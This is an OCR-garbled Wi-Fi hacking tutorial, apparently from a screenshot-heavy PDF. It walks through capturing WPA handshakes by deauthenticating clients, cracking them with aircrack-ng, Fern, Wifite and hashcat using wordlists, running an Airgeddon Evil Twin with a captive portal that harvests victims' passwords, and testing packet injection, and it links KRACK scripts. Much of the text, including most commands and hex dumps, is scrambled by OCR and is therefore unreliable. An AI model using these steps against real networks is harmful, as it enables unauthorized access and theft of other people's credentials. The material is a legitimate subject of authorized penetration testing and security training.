Complete Wi-Fi Hacking Handbook

Introduction

Wlan means wifi lan.

Reference (WiFi Pentesting) — https://github.com/ricardojoserf/wifi-

pentesting-guide



First convert wlan0 (managed mode) to wlanOmon (monitor mode) by using

the below cmds.

wlano®

Interface Driver Chipset

wlan0 ath9k _htc Qualcomm Atheros Communications AR927
2.11n
(mac80211 monitor mode vif enabled for [phy@]wlan@ on [phy@]w
lan®@mon)

(mac80211 station mode vif disabled for [phy®]wlan@)

lo no wireless extensions.
etho no wireless extensions.
docker® no wireless extensions.
wlan@mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm

Retry short limit: TS thr:off Fragment thr:off

anagement:




Inorder to go back.

Chipset

Qualc

Looking for WiFi’s

Look for network packets using airodump.
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You can get BSSID/MAC Add via the above cmd. Press CTRL + C and get the
BSSID of a private WiFi (like OnePlus). Copy it as it will be needed for EAPOL
or 4 way handshake.

Capturing 4 Way Handshake

Now open 2 terminals. In the first one, use cmd while saving it in a “.cap” file
(below is hackl file). It uses the wireless interface to check for connecting
stations and shows their MACs. Notice that no channels (i.e. -c) is
mentioned. This is done to know the channels used by AP (Access Points) in

the second terminal.
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Simultaneously, in the second terminal write the aireplay cmd to deauth

clients. This will show what channels does the AP use.



- — N 1 .
on channei ©

annel 11

Add those channels to the cmd in the first terminal as show. This captures

WPA Handshake in the first terminal (precisely 4 messages).

Now in the current directory (here the my root dir) do ‘Is’ to find hackl-

0l.cap file. Open it using cmd below.

[~]
ckl-01.cap

14:16:48.03 G JARNING] -- QStandardPaths:

ne-root'

In wireshark set filter to “eapol” (for getting handshakes).



Elo Edit Yiew Go Captuwre Analyzo Statistics Telephony \irvless Tools Help
AN 2B RE QesEF R
[ [wapol
I e
I
| Message
1. gas75:f87 133 Moy [Messano 4 of 4]
&:75:73 133 Koy [Message 1 of 4}
' R CloudNet H 157 Kay [Message Z of 4)
i o0 T5:TE 180 Wey [essage 3 of 4}
Cloue T5178; 133 Key (Message 4 of 4)
133 Wey (Message 1 of 4}
155 Key {Wessage 2 of 4)
108 Wey (essage 3 of d)
L 133 Key [Message 4 of 4)
133 Key {kessage 1 of 4)
189 Koy [Message 3 af 4)
133 Moy [Message 1 of 4)
155 Koy [Message 2 of 4)
189 Koy [Message 3 of 4)
133 Koy [Message 4 of 4]
133 Koy (Message 1 of 4
157 Koy [Bessage I of 4}
180 Moy {Message 3 of 4
100 Key [essage 3 of 4}
oy [Message I of 4
133 Key [Message 4 of 4]
133 Mey (Message 1 of 4)
155 Mey [iessage 2 of 4]
189 Mey [Message 3 of 4)
133 Koy [Hessage 4 of &)
133 Meszage 1 af 4)
157 Koy [Message 2 o &)
133 Moy [Hessage £ of 4)
= 155 Moy [Message 2 of 4)
3 180 Koy [Message 3 af 4)
& 133 Key {Message 4 af 4)
9 3! 133 Mey (Messane 1 of 4]
9. 23 157 Key [Message 2 of 4)
CREE i Koy (Message 3 af 4]
PR 180 Key {Message 3 of 4]
5. 33977 eat6cf 186 Key [essage T of 4}
9 32 981 CloudNet 133 Mey [Message 4 of 4]
3z e g 133 Key [Metzage 1 of 4]
3z 155 Koy {Message I of 4]
2. 139 Koy [Feszage 3 of 4)
32. 133 Koy [Message 4 of 4}
34 133 Koy (Bessage 1 of 4]
34 157 Koy (essage 2 of 4)
4 180 ey (Message 3 of 4)
I 100 ey [Message T of 4)
: 180 Xey (Message 3 of 4)
i 100 ey [Message 3 of 41
38 3 133 Key (Message 1 of 4)
a8 _ e 198 Key [Message 3 of 4]
35 39603 ea: 15: 180 Key [Message 3 of 4) |
3835 806 Cloudhet. £ 133 Kov MMessane & of 41 1=
@ ¥ hackl-0lcap Packets: 47729 - Displayed: 62 (0.1%) Profile: Default

As mentioned above that 4 msgs while be captured b/w the new connection
to the wifi and the wifi itself. Here phone MAC was 66:9a: (and so on) and

wifi MAC was ea:75: (and so on)

Message 1 of 4 description -

Wireshark - Packet 14077 - hackl-OLcop

» Frame 14017: 133 bytes on wire (1064 bits), 132 bytes captured {1064 bits)
+ IEEE 802.11 QoS Data, Flags: ......F.

» Logical-Link Control

- BRE.1X Authenticaticn

Version: 892.1%-2084 (2)

Type: Key (3)

Length: 95

Key Descriptor Type: EAPOL RSH Key (2)
[Message number: 1]

Key Information: xB83a

Key Length: 16

Replay Counter: 1

‘WPA Key Nonce: 7f7226e61552167614dad5af634209bcr fav2febdfEf ]
Key IV:
WPA Key RSC: DOG9OODOOGODEROG
WPA Hey 1D: BO0QGG000080080E
WPA Key HIC:
WPA Key Data Length: 8

3a 61 66 a 31 cd 7Ff fd ea 75 3 OB a0 85 B 3 u

8 66 a9 85 A6 00 66 00 aa aa 63 60 00 60 u

82 §3 09 Sf B2 da 00 16 €0 00 90 B0 0O 2

@1 Tf 72 26 b 52 16 76 14 da d5 af 63 ré:: R €
cf 3c bé 85 e6 ff 07 2f eb Of 8f dc 25 B < £ ®
T4 60 00 &0 08 e0 08 90 08 00 »

G0 60 B0 60 08 48 00 08 68 6O 68 0BG B

60 60 00 60 0O 4G 00 66 80 00 0 0O 68

B& 09 89

ZE22ER2
2
2

| RGDS-E | :;Help

Message 2 of 4 description -



Frame 14822: 156 bytes on w,.re <12¢8 bits), 55 bytes captured (1248 bits})
IEEE 882.11 QoS Data, Flags: .......

Lopical-Link Control

882.1% Authentication

Version: B882.1%-2801 (1)

Type: Key (3)

Lengtn: 117

Key Descriptor Type: EAPOL RSN Key (2)

[Message number: 2]

Key Inforpation: 8xB18a

Key Length: @

Replay Counter: 1

WPA Koy Nonce: T 1 Lrad

i

Key Iv:
WPA Key RSC: £009860008900BOG
WPA Wey ID: GO008800288E0000
WPA Key MIC: ?9.:361fh32?36\‘48aa0?ec]‘n32922f34
WPA Key Data Length:
» WPA Key Data: 3@1.419:l00G@Dfac@dﬁiﬁﬂ@&)ﬁfacﬂdﬁiﬁﬁaabfacQ2&DUﬂ

88 81 24 88 ea 75 78 98 a9 B5 66 9a 31 c4 7r 14 5 U LF
@3 75 T8 %8 a9 85 00 69 66 90 aa ax B3 ©0 09 89 u

83 8o A1 &3 92 75 62 81 B2 ©0 66 BD 09 80 0O 8 u

B8 @6 81 £5 c9 34 Bb e4 d9 b5 bb 45 49 Gc c3 Gc 4 EI:-1
bc ci 42 dc 93 a2 66 85 37 e2 M6 of 83 5b 32 cd Bioo T [z
3d 17 9f 60 A0 60 00 60 60 GO 90 80 00 60 60 60 =

68 &6 60 66 A0 66 0A 6D 60 60 0O 8O GO 65 06 00 .

@89 8 89 70 53 61 Tb 32 73 6f 48 aa O7 ec Td 32 y5a 2 soH- 2
Ge 2f 34 @0 16 30 14 €1 00 60 Of ac 64 @1 66 60 FLEN T

Bf ac B4 61 00 66 Of ac 62 £0 00

17gr

[ Xciose

55Help

Message 3 of 4 description -

Frame 14032: 180 bytes on wire [.1..-12 bits), 180 bytes captured (1512 bits)
IEEE BO2.11 (oS Data, Flags:
Logical-Link Centrol
882.1% Authentication
Version: BO2.1X-20@84 (2)
pe: Key (3)
Length: 151
Key Descriptor Type: EAPOL RSN Key (2)
[Message number: 3]
Key Information: Bxi3ca
Key Longth:
Riplay Counter
WPA Key Nonce: ?TTE25061552167614!“053\!’63429%1’ re72fehar

.

Koy IV:
WPA Key RSC: 600806ED000G0000

WPA Key ID: &800066000005500

WPA Key MIC: daB6bBas3daellOd862ab85cd2130602
WPA Key Data Length: 56

WA Key Data! ddc893374838adbc3l 1a713087 Tef3ddees11

B8 B2 3a 81 6694 31 ¢4 7f f4 ea 75 T8 98 20 85 Tl u
@3 75 8 98 a9 85 16 86 66 80 aa aa 63 00 60 69 u

BB 8¢ 92 B3 98 97 ©2 13 ca ©9 10 B9 BA B9 B0 09

B0 B8 82 7r T2 26 ¢6 15 52 16 76 14 da d5 af 63 ré:- R

G0 80 B0 da B6 b8 as 33 ae 17 84 86 Za bE 5o d2 3 X
43 06 92 00 36 dd c 33 74 @3 Ba db c3 1d 98 de B3t N
6B ed 21 al 43 d8 77 cf 3d d0 05 11 35 ea M4 Ge h-!. W = 538n
af 89 76 42 5f Of 05 6b o6 62 Od ef 21 8b o 74 VvB_- K btk

IV Aclose |

SiHep

Message 4 of 4 description -




£ Wireshark - Packet 14037 - hack1-01.cap

v Frame 14637: 133 bytes on wire (1864 bits), 133 bytes captured (1864 bits)
» IEEE 8082.11 QoS Data, Flags: .......T
+ Logical-Link Control
~ 882.1% Authentication
Version: B02.1X-2001 (1)
Type: Key (3)
Length: 85
Key Descriptar Type: EAPOL RSN ey (2}
[Message number: 4]
v Key Information: 8x@38a
Key Length: ©
Replay Counter: 2
WPA Key Nonce:
Key Iv:
WPA Key RSC: 860BO0O00S0DDAEG | ]
WPA Key ID: 806BBODOEOEEDOAE
WPA Key MIC: 1BB1cB751
WPA Key Data Length: @

BB B1 24 88 ea 75 T8 98 a9 80 BB 9a 3L cd UF T4 U 1
i ea 75 f8 08 af B5 10 60 00 OO za a3 @3 0O 09 80 u

B8 de 61 63 60 5f 02 63 0a G0 00 00 G0 0O 0O 00

B0 B9 62 BO B0 0O BE B9 00 GO OO 09 @9 0O 0D B0

60 99 60 80 20 60 90 GO 8O GO 00 00 0O 0O 0D B0

0F 66 00 00 @0 60 66 60 6O G0 06 00 OO 0O 86 60

08 B9 90 00 G0 60 00 B9 A0 GO OO 0O ¢0 00 0D B

08 90 88 30 b4 cd 65 6b 18 81 cO 75 1b 6O 38 eb o
Go 5@ b6 60 66 1

|_X._clnse || 5oHelp

Cracking WiFi Password

(1) aircrack-ng
We need to crack WPA Key Data.

r - |

=] |

/home/kali/J}

Since the all “hack1-01" files are in “root” user. We need to move it to
/home/kali.

()

hackl-01.cap /usr/share/wordlists/rockyou. txtfj

We can find the password of the wifi by this below cmd. If its in wordlist

rockyou.txt then it will be cracked else not.



(2) Fern WiFi cracker

We can also use a tool named Fern WiFi Cracker. Fern works for LNMIIT

WiFi also (Just need a better wordlist in order to get password via

bruteforce/dictionary attack).

Attack Panel

[CORNO) (O G ()
b = ] 8 s

Automate

Supports WPS

* Regular Attack S Attack

Preding Actess Point
g WTBCIABSTES rockyou.txt Browse

Kuerdshshe Chptured e

Brutefrrieg WP Encryption ortizl4

St BELET b




File Actions Edit View Help

L Fern - Key Databas

Decrypted wireless keys are sutomatically added to the sqfite database after a successfil
attack, Alternatively you can inzert ks to the database manually

Access Poinl b= Vlac Address  Encryption ® Key @ Channel
| Mﬂ‘;ﬂ'.(ﬂim WPA o n

2 & ACBCASAECINES  WPA mma n

Insert New Key.

About Ferm WIF] Cracker

https://www.wireshark.org/tools/wpa-psk.html can be used to create psk.

(3) Wifite and Hashcat

Using Wifite to crack password. We need to put below cmd. They when asked

to select target, select any from the identified.




File Actions Edit View Help

e
J ..I|‘|
L
UM

Select target(s) (1

irting attacks

MKID attack,

Now convert ‘.cap’ to ‘hccapx’ via hashcat-utils/cap2hccapx




Hashcat Wiki — https://hashcat.net/wiki/

Hashcat in windows with cmd provided.

2] cd .\Downloads\

PS cd .\hashcat-6.2.6\

PS ashcat-6.2.6> .\hashcat.exe
hashcat (v6.2.6) starting in backend information mode

CUDA Info:

CUDA.Version.:

Backend Device ID #1 (Alias: #3)
: NVIDIA GeForce RTX 3850 Laptop GPU
16
: 1500
Memory.Total...: 495 MB
Memory.Free : 3314 MB
Local.Memory...: 99 KB
PCI.Addr.BDFe..: 0000:01:00.0

HIP Info:

HIP.Version.: 5.0.20451

Backend Device ID #2 (Alias: #4)
: AMD Radeon(TM) Graphics
Processor(s)...: 6

Memory.Total...: 6180 MB
Memory.Free : 6048 MB
Local.Memory...: 64 KB
PCI.Addr.BDFe..: 0PB0:05:00.0

OpenCL Info:




m i
: NVIDIA Corporation

: NVIDIA CUDA
Version.: OpenCL 3.0 CUDA 12.2.128

Backend Device ID #3 (Alias: #1)

: NVIDIA Corporation
: NVIDIA GeForce RTX 3050 Laptop GPU
: OpenCL 3.0 CUDA
: 16
: 1500
Memory.Total...: 4095 MB (limited to 1023 MB allocatable in one block)
Memory.Free : 3968 MB
Local.Memory...: U8 KB
OpenCL.Version.: OpenCL C 1.2
Driver.Version.: 536.67
PCI.Addr.BDF...: 01:00.0

OpenCL Platform ID #2
Vendor..: Advanced Micro Devices, Inc.
Name : AMD Accelerated Parallel Processing
Version.: OpenCL 2.2 AMD-APP (3417.0)

Backend Device ID #4 (Alias: #2)

Vendor.ID

Vendor : Advanced Micro Devices, Inc.
: AMD Radeon(TM) Graphics

Version........: OpenCL 2.0 AMD-APP (3417.6)

Processor(s)...: 6

Memory.Total...: 6180 MB (limited to 2409 MB allocatable in one block)
Memor : 3040 MB

» .\hashcat.exe -m 22000

) starting

(4) Hashcat, hcxdumptool and hexpcapngtool

Use the following cmd on terminal in-order/sequence.

1. sudo systemctl stop NetworkManager.service

2. sudo systemctl stop wpa_supplicant.service

3. sudo hcxdumptool -i wlan0 — nmea_pcapng dumpfile.pcapng
4. sudo systemctl start wpa_supplicant.service

5. sudo systemctl start NetworkManager.service

6. hexpcapngtool -o hash.hc22000 -E essidlist dumpfile.pcapng



7. hashcat -m 22000 hash.hc22000 wordlist.txt

(Here Word list can be any word list)




Now this creates a file by the name of 2023...(some digits)....-wlan0.pcapng’

instead of dumpfile.pcapng. Hence we do a cat cmd as shown below.

20230814105107-wlan0.pcapng cracked. jsor

t 20230814105107-wlan@.pcapng

20230814105107-wlan@. pcapng




1st dumpfile.pcapng

After this now drag-drop dumpfile.pcapng to Windows and then write the
below cmd in windows instead of Kali since Kali in VM doesn’t have the
power/memory to execute. Since windows has a GPU, execute the following

cmd there in Command Prompt.

3h.hc22000 rockyou.txt

Evil-Twin Attack using Airgeddon

We will explore the ominous world of Evil Twin attacks and understand how
to safeguard ourselves using the powerful tool, Airgeddon. Follow these step-
by-step instructions, accompanied by screenshots, to fortify your defenses
against this menacing security threat. To exploit a Wi-Fi network with a
connected client, the attacker requires a Wi-Fi card with a VIA-supported

chipset, a requirement is to inject a malicious packet into the network.

To start run the following cmd -



T —
Fite Actions Edit View Help

This script is only for educational purposes. Be good boyzagirlz!

Use it only on your own networks!!

Accepted bash version (5.2,15(1)-release)., Minimum required version; 4.2

Root permissions successfully detected
19

"Parrot arm”

" "Cyborg" "Debian" "Fedora
"Red Hat" "SuSE" "Ubuntu" "Wifislax"

"arch” "Backbox" "BlackArch" "CentOS “ "Gentoo" "Kali" "Kali arm" "Manjare” "Mint" "OpenMandriva" “"Parrot”

"Pentoo” "Raspberry Pi 0S" "Raspbian’

Kali Linux

latigkalk ~fairgedden

File Actions Edit View Help

< Ok
. Ok
ok
S
ok
ok




Your distro has all necessary essential tools. Script can continue ...

Press [Enter] key to continue...

The script is already in the latest version. It doesn't need to be updated

Press ter] key to continue...Jj

Now select an interface (its always/mostly wlan0). Change the mode to

Monitor Mode. After that select the attack you wish to do. Here we wish to do

an Evil Twin attack.

] v11.20
e wlan@ sele . Managed. pp e ands: 2.4Ghz

Select an option from menu:

If your Linux is a virtual machine, it is possible that integrated wifi cards are detected as ethernet. Use an external usb wifi card

Select 9 option now

e wland t Managed
3 : None
: None
ID: None

Select an option from menu:

On Evil Twin attack with BeEF integrated, in addition to obtaining keys using sniffing techniques, you can try to control the client's bre
launching numerous attack vectors. The success of these will depend on many factors such as the kind of client's browser and its version




It starts scanning WiFi.

S i Elwpasdz 63 )0

On Evil Twin attack with BeEF integrated, in addition to obtaining keys u
wser launching numerous attack vectors. The success of these will depend on many

An exploration looking for
Press [Enter] ey Lo contir

targets is going to be done...

Exploring for targets option chosen (monitor mode needed)

Selected interface wlan@mon is in monitor mode. Exploration can be performed

WPA/WPAZ/WPA3 filter enabled in scan. When started, press [Ctrl+C] to stop...

Now, Configure Captive Portal Set up a Captive Portal for your Evil Twin

network to capture login credentials from unsuspecting users.

BSSID CHANNEL PWR ENC

:DA:9D: 28% WPA2
t48:AE: 1 407 WPA2
tAE: 31% WPA2
3:B0O: 1 19% WPA2
8:B0: 19% WPA?
3:B0:/ 6 17%
3:B0:/ 1 43%
:C9: 19%
D: - > /0

‘9F:

:8B:F9:
\:9D:
tOF:
:AE:
tAE:
:AE:
H :{"H

:BE:
*AE:




Now choose and select a target.

Start the Attack Airgeddon will configure the Evil Twin attack and begin

broadcasting the malicious network. Wait for unsuspecting users to connect.

want to spoof your MAC address during this attack?

yires that you have previously a WPA/WPAZ na




So we have started our attack, lets wait for some minutes to enter credentials

from the client side.

In our simulated attack scenario, we initiated a deauthentication attack on
the original Wi-Fi network, causing it to go offline. As a result, the client
devices lost their connection to the legitimate network and were unable to
reconnect. Seizing this opportunity, we quickly set up a rogue access point
with an identical network name to the original one, capitalizing on the
client’s trust in recognizing the familiar SSID. The client, assuming it was the
legitimate network, attempted to connect and was prompted to enter the Wi-
Fi password. Unaware of the ongoing attack, the user, trusting the network’s
authenticity, entered the correct password, believing they were logging back
into the genuine Wi-Fi network. Unbeknownst to them, the password was
surreptitiously captured by our malicious rogue access point, granting us
unauthorized access to their credentials and potentially compromising their

security. This scenario underscores the importance of remaining vigilant



and cautious when connecting to Wi-Fi networks, especially in public or

unfamiliar environments.

Packet Injections

Injection of packets via wifi adaptor can be by aireplay-ng commands. Basic

commands include below.

NOTE- Though at times I have used wlanOmon, its advisable to use wlan0

while using aireplay-ng.

6.551ms Power:

Now for testing injection on a specific wifi, the below cmd is used. Here

MAC Add (*****) and interface is wlanOmon since its in monitor mode.



on channel €

In such cases use the following command. Here wlanO0 is used even if its in

monitor or anyother mode.

i~

wlan® channel 11

Now the channel difference issue is resolved. Injection testing works well.



49:D3) on channel 11

Hence the test of injection is Successful.

Reference 1 — https:/www.aircrack-ng.org/doku.php?id=injection_test

Reference 2 — https://www.aircrack-ng.org/doku.php?id=Main

Bypassing WPA2 (Requires 5GHz)
Reference 1 — https:/www.krackattacks.com/

Scripts — https://github.com/vanhoefm/krackattacks-scripts

Demo Video — KRACK Attacks: Bypassing WPA2 against Android and Linux







